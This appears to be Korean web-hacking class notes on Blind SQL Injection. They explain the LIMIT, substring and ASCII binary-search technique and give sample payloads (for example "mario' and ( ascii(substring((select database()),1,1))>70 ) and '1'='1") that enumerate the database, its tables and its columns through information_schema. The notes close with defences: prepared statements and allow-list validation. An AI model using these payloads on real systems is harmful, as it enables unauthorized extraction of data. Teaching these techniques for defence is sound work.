본문 바로가기
Web hacking/Nomaltic) 웹 해킹 수업 노트 👩‍💻

[4주차]Blind SQL Injection과 대응방안

by m_.9m 2021. 11. 9.

Blind SQL Injection

 

SQL 질의 결과가 노출되지 않는 곳에 사용 ex)로그인 페이지 

 

기법

 

( 1 ) LIMIT

Limit [시작위치:0으로 시작], [개수]

 limit 0,1   => 0부터 1개 가져옴

 limit 1,2 => 1에서부터 2개 가져옴

( 2 ) substring

Ex) Select password from member limit 0,1 > ‘12345’라면

Substring( ‘12345’ , 1, 1 ) 자동화로 비교하도록

( 3 ) ASCII 코드

받아온 데이터를 숫자로 변경해줌.

이진 탐색 알고리즘을 통하면 매우 빠르게 비교 가능

33 ~ 126 (  )

 

‘normaltic’ 글자의 첫 글자 비교 예시

Substring(‘normaltic’, 1, 1)

Select ~~~~ limit 0,1

Ascii(substring((selcti ~~ limit 0,1),1,1)) ->  > 20

 

 

순서 및 예시

  • 취약점이 있는지 확인 ( mario’ and ‘1’=’1 )
  • Blind SQL 인젝션이 가능한지 ( mario‘ and ‘1’=’1 이랑 2랑 참/거짓)
  •  mario’ and ( ‘1’ = ‘1’ ) and ‘1’ = ‘1
  • Blind SQL 인젝션이 가능한지 ( 임의 select 문 삽입 )

select ‘normaltic’

Blind SQL 조건 : ascii(substring((SQL문),1,1)) > 0

  • DB 이름 확인

 

Select database( mario’ and ( ascii(substring((select database()),1,1))>70 ) and ‘1’ = ‘1

 

 

  • 테이블 이름 확인

Select table_name from information_schema.tables where table_schema = ‘segFault_sqli’ limit 0,1

 

 

mario’ and ( ascii(substring( select table_name from information_schema.tables where table_schema = ‘segFault_sqli’ limit 0,1

 

 

  • ,1,1))> 0 ) and ‘1’ = ‘1
  • 컬럼 이름 확인

Select column_name from information_schema.columns where table_name

 

 

대응 방안

 

우선 순위 1) Prepare Statement: 준비된 명령문 사용

Ex) $sql = “ select ~~~ whtere id = ‘?’ ”

Bind(1, $user_id )

 

1. 이 Prepare Statement가 적용되지 않는 곳 ->

정렬부분, 테이블 이름 order by

2. 연차 있으신 개발자분들

Select where id = ‘$user_id’;

sql.prepated <<

3. 수정되지 않은 프레임 워크 사용

 

우선 순위 2) 허용목록 입력 유효성 검사

 

 

화이트 리스트 기반 : 특정 문자만 허용하는 것

블랙 리스트 기반 : ‘, or, and 등 특정 글자 막는 것

 

 

블랙리스트 방식은 취약점이 많아 실제로 대응방안으로 권하고 있지는 않는다.

화이트 기반의 방식을 더 권함.

그렇지만 기본은 prepare statement!